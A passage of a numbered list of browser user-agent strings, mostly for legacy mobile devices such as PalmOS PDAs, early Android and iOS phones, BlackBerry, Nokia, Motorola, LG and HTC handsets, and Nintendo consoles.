Mozilla/4.0 (PDA; PalmOS/sony/model crdb/Revision:1.1.36(de)) NetFront/3.0 29 | Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0 30 | Mozilla/4.0 (PDA; Windows CE/0.9.3) NetFront/3.0 31 | Mozilla/4.0 (PDA; Windows CE/1.0.1) NetFront/3.0 32 | Mozilla/4.0 (PDA; SL-C750/1.0,Embedix/Qtopia/1.3.0) NetFront/3.0 Zaurus C750 33 | WM5 PIE 34 | Xiino/1.0.9E [en] (v. 4.1; 153x130; g4) 35 | Mozilla/5.0 (Linux; U; Android 3.2.1; en-gb; A501 Build/HTK55D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 36 | Opera/9.80 (Android 3.2.1; Linux; Opera Tablet/ADR-1205181138; U; en-GB) Presto/2.10.254 Version/12.00 37 | Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0 38 | Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0 39 | Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 40 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; MAAR; .NET4.0C) 41 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 42 | Mozilla/5.0 (Linux; Android 4.1.1; Transformer Prime TF201 Build/JRO03C) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 43 | Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Transformer TF101 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 44 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; VS840 4G Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 45 | Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; MB525 Build/3.4.2-107_JDN-9) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 46 | Mozilla/5.0 (Linux; U; Android 2.1-update1-1.0.19; en-us; NXM736 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 47 | Mozilla/5.0 (Linux; U; Android 2.2; de-de; U0101HA Build/FRF85B) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 48 | Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; SP-60 Build/MASTER) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 49 | Mozilla/5.0 (Linux; U; Android 2.2; en-gb; ViewPad7 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 50 | Mozilla/5.0 (Linux; U; Android 2.1-2010.11.4; de-de; XST2 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 51 | Mozilla/5.0 (Linux; U; Android 1.0.3; de-de; A80KSC Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 52 | Mozilla/5.0 (Linux; U; Android 2.2.1; en-au; eeepc Build/MASTER) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 53 | Mozilla/5.0 (Linux; U; Android 1.6; en-us; xpndr_ihome Build/DRD35) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 54 | Mozilla/5.0 (Linux; U; Android 2.2.1; fr-ch; A43 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 55 | Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; X2 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 56 | Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25 57 | Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/25.0.1364.124 Mobile/10B146 Safari/8536.25 58 | Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B147 Safari/8536.25 59 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 60 | Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206 61 | Mozilla/5.0 (iPod; CPU iPhone OS 5_1_1 like Mac OS X; nl-nl) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/21.0.1180.80 Mobile/9B206 Safari/7534.48.3 62 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 63 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 64 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 65 | Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5 66 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 67 | iTunes/9.1.1 68 | Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5 69 | Mozilla/5.0 (iPad; U; CPU OS 4_3_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5 70 | Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 71 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 72 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16 73 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 74 | Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 75 | Opera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en) 76 | BenQ-CF61/1.00/WAP2.0/MIDP2.0/CLDC1.0 UP.Browser/6.3.0.4.c.1.102 (GUI) MMP/2.0 77 | MAUI WAP Browser 78 | Mozilla/5.0 (BB10; <Device Model>) AppleWebKit/<WebKit Version> (KHTML, like Gecko) Version/<BB Version #> Mobile Safari/<WebKit Version> 79 | Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.0.1; en-US) AppleWebKit/535.8+ (KHTML, like Gecko) Version/7.2.0.1 Safari/535.8+ 80 | Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.0.0; en-US) AppleWebKit/535.8+ (KHTML, like Gecko) Version/7.2.0.0 Safari/535.8+ 81 | Mozilla/5.0 (PlayBook; U; RIM Tablet OS 1.0.0; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.7 Safari/534.11+ 82 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9700; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+ 83 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9860; en-GB) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.296 Mobile Safari/534.11+ 84 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9300; fr) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.570 Mobile Safari/534.8+ 85 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.600 Mobile Safari/534.8+ 86 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+ 87 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ 88 | (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1+ 89 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/530.17 (KHTML, like Gecko) Version/6.0.0.62 Mobile Safari/530.17 90 | BlackBerry9650/5.0.0.732 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/105 91 | BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123 92 | BlackBerry9630/4.7.1.40 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 93 | BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 94 | BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 95 | BlackBerry8830/4.2.2 Profile/MIDP-2.0 Configuration/CLOC-1.1 VendorID/105 96 | BlackBerry8820/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 97 | BlackBerry8703e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 98 | BlackBerry8320/4.5.0.188 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100 99 | BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/106 100 | BlackBerry8320/4.3.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 101 | BlackBerry8110/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/118 102 | Opera/9.50 (J2ME/MIDP; Opera Mini/4.0.10031/298; U; en) 103 | BlackBerry8130/4.5.0.89 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/106 104 | BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103 105 | BlackBerry7130e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/104 106 | BlackBerry7250/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 107 | Mozilla/4.0 (compatible; MSIE 5.5; Windows NT) (compatible; MSIE 5.5; Windows NT) 108 | Cricket-A310/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0 109 | Cricket-A410/1.0 Polaris/v6.17 110 | Cricket-A200/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0 111 | Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Wireless Transcoder) Version/3.1 Safari/525.13 T 112 | Cricket-A200/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0 113 | Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; DELL; Venue Pro) 114 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/ 3.1.2 Safari/525.20.1 115 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 116 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 117 | Mozilla/5.0 (Linux; U; Android 4.1.1; he-il; Nexus 7 Build/JRO03D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 118 | Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; Nexus S Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 119 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus One Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 120 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 121 | Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 122 | Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0 123 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300) 124 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 125 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 126 | Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Sensation_Z710e Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 127 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ADR6300 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 128 | Mozilla/5.0 (Linux; U; Android 1.5; en-us; ADR6200 Build/CUPCAKE) AppleWebKit/528.5+(KHTML, like Gecko) Version/3.1.2 129 | Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 130 | HTC_Touch_HD_T8282 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) 131 | Mozilla/4.0 (compatible: MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; 7 Trophy) 132 | Mozilla/4.0 (compatible: MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; 7 Trophy) 133 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile G2 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 134 | Mozilla/5.0 (Linux; U; Android 2.3.3; pl-pl; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 135 | Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; HD7) 136 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 137 | Mozilla/5.0 (Linux; U; Android 1.6; en-us; WOWMobile myTouch 3G Build/unknown) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 138 | Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; 7 Mozart; Orange) 139 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5.3.5) 140 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.6) PPC; MDA Vario/3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 141 | HTC_HD2_T8585 Opera/9.7 (Windows NT 5.1; U; en) 142 | Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 143 | Mozilla/5.0 (Linux; U; Android 2.2; nl-nl; Desire_A8181 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 144 | Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; ADR6300 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 145 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HTC_Touch_Diamond2_T5353; Windows Phone 6.5) 146 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 8.12; MSIEMobile 6.0) USCCHTC6875 147 | XV6850 Opera/9.50 (Windows NT 5.1; U; en) 148 | Modzilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) 480x640; XV6850; Window Mobile 6.1 Professional; 149 | HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0 150 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5) UP.Link/6.3.1.17.0 151 | htc_touch_pro2_t7373 opera/9.50 (windows nt 5.1; u; de) 152 | HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 153 | HTC-P4600/1.2 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) UP.Link/6.3.1.17.0 154 | HTC_Touch_Pro_T7272 Opera/9.50 (Windows NT 5.1; U; en) 155 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) 156 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; U8815 Build/HuaweiU8815C02B895) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 157 | Mozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) Version/4.0 Kindle/3.0 (screen 600x800; rotate) 158 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.1.0-84) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true 159 | Mozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko, 160 | Safari/528.5+) Version/4.0 Kindle/3.0 (screen 600X800; rotate) 161 | Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800) 162 | Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; IdeaTab A2107A-H Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 163 | LGE-LG290C/1.0[TF268435459307028557000000012602392946] UP.Browser/6.2.3.8 (GUI) MMP/2.0 164 | Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; VM670 Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) 165 | LG-LG260 POLARIS-LG260/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 166 | LGE-LG290C/1.0[TF268435459307087980000000012298546358] UP.Browser/6.2.3.8 (GUI) MMP/2.0 167 | Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; VS910 4G Build/VS910ZV6) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 168 | Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; VS910 4G Build/VS910ZV6) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 169 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; LG-VM670 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 170 | Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; LG-MS690 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 171 | LG-GT400/v10a Browser/Teleca-Q7.1 MMS/LG-MMS-V1.0/1.2 MediaPlayer/LGPlayer/1.0 Java/ASVM/1.1 Profile/MIDP-2.1 Configuration/CLDC-1.1 172 | LG-GS290/V100 Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1 173 | Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; LG-P350 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2 174 | LGE-VM510 NetFront/3.5.1 (GUI) MMP/2.0 175 | LG/KU990i/v10a Browser/Obigo-Q05A/3.6 MMS/LG-MMS-V1.0/1.2 Java/ASVM/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 176 | LG-CT810/V10x IEMobile/7.11 Profile/MIDP-2.0 Configuration/CLDC-1.1 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) 177 | POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1 178 | Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 240X400 LGE VX9700 179 | LGE-MX380/1.0 UP.Browser/6.2.3.9 (GUI) MMP/2.0 180 | Mozilla/4.1 (compatible; MSIE 6.0; ) 400x240 LGE VX10000 181 | LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 182 | MOT-EX431G/[TF359486041364033384919913852428475] Obigo/Q03C MMP/2.0 183 | Mozilla/5.0 (Linux; U; Android 1.5; en-us; MB501 Build/CUPCAKE) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 184 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5.3.5) 185 | Mozilla/5.0 (Linux; U; Android 2.2.1; fr-ca; Milestone Build/ SHOLS_U2_05.26.1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 186 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) 187 | Mozilla/5.0 (Linux; U; Android 3.0.1; de-de; MZ601 Build/H.6.1-38-5) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 188 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 Build/VZW) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 480X854 motorola DROID2 189 | Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; Xoom Build/HWI69) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 190 | Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 191 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 192 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 GLOBAL Build/S273) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 193 | Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; DROIDX Build/VZW) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 480X854 motorola DROIDX 194 | MOT-COOL0/00.62 UP.Browser/6.2.3.4.c.1.128 (GUI) MMP/2.0 195 | Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; Droid Build/ESE81) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 196 | Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/ 530.17 197 | MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0 198 | MOT 24.1 _/00.62 UP.Browser/6.2.3.4.c.1.120 (GUI) MMP/2.0 199 | MOT-L6/0A.52.45R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 200 | MOT-V3r/08.BD.43R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 201 | MOT-V3i/08.B4.34R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 202 | MOT-A-1C/01.01 UP.Browser/7.0.0.2.c.1.104 (GUI) MMP/2.0 UP.Link/5.1.2.16 203 | MOT-V620/0E.65.25R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0 UP.Link/6.3.1.12.0 204 | MOT-V600/0B.09.38R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0 205 | MOT-E398/0E.20.97R MIB/2.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 206 | mot-V3/OE.40.79R MIB/2.2.1 profile/MIDP-2.0 configuration/CLDC-1.0 UP.Link/6.2.3.15.0 207 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; Smartphone; 176x220) 208 | Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7498.EU 209 | Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7455.EU 210 | Opera/9.30 (Nintendo Wii; U; ; 2047-7; en) 211 | Opera/9.10 (Nintendo Wii; U; ; 1621; en) 212 | Opera/9.00 (Nintendo Wii; U; ; 1309-9; en) 213 | Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [en 214 | Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [ja] 215 | Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 710) 216 | Nokia2700c-2/2.0 (09.80) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0(Java; U; MIDP-2.0; en-US; nokia2700c-2) U2/1.0.0 UCBrowser/8.8.1.252 U2/1.0.0 Mobile 217 | Nokia2760/2.0 (06.82) Profile/MIDP-2.1 Configuration/CLDC-1.1 218 | Nokia2700c-2/2.0 (07.80) Profile/MIDP-2.1 Configuration/CLDC-1.1 nokia2700c-2/UC Browser7.7.1.88/69/444 UNTRUSTED/1.0 219 | Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/22.414; U; en) Presto/2.5.25 Version/10.54 220 | Nokia3120Classic/2.0 (06.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 221 | Opera/8.0.1 (J2ME/MIDP; Opera Mini/3.1.9427/1724; en; U; ssr) 222 | Nokia3200/1.0 (5.29) Profile/MIDP-1.0 Configuration/CLDC-1.0 UP.Link/6.3.1.13.0 223 | Nokia3510i/1.0 (04.44) Profile/MIDP-1.0 Configuration/CLDC-1.0 224 | Nokia3650/1.0 SymbianOS/6.1 Series60/1.2 Profile/MIDP-1.0 Configuration/CLDC-1.0 225 | Mozilla/4.0 (compatible; MSIE 4.0; SmartPhone; Symbian OS/1.1.0) Netfront/3.1 226 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5800d-1/60.0.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.33 Mobile Safari/533.4 3gpp-gba 227 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5230/40.0.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.4 3gpp-gba 228 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5800d-1/50.0.005; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.3 229 | Nokia5130c-2/2.0 (07.97) Profile/MIDP-2.1 Configuration/CLDC-1.1 nokia5130c-2/UC Browser7.5.1.77/69/351 UNTRUSTED/1.0 230 | Nokia5140/2.0 (3.10) Profile/MIDP-2.0 Configuration/CLDC-1.1 231 | Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Nokia5800d-1b/20.2.014; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 232 | Nokia6212 classic/2.0 (06.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 233 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.83; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 234 | Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6680/5.04.07; 9399) Opera 8.65 [en] 235 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es61i 236 | Nokia6230/2.0+(04.43)+Profile/MIDP-2.0+Configuration/CLDC-1.1+UP.Link/6.3.0.0.0 237 | Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 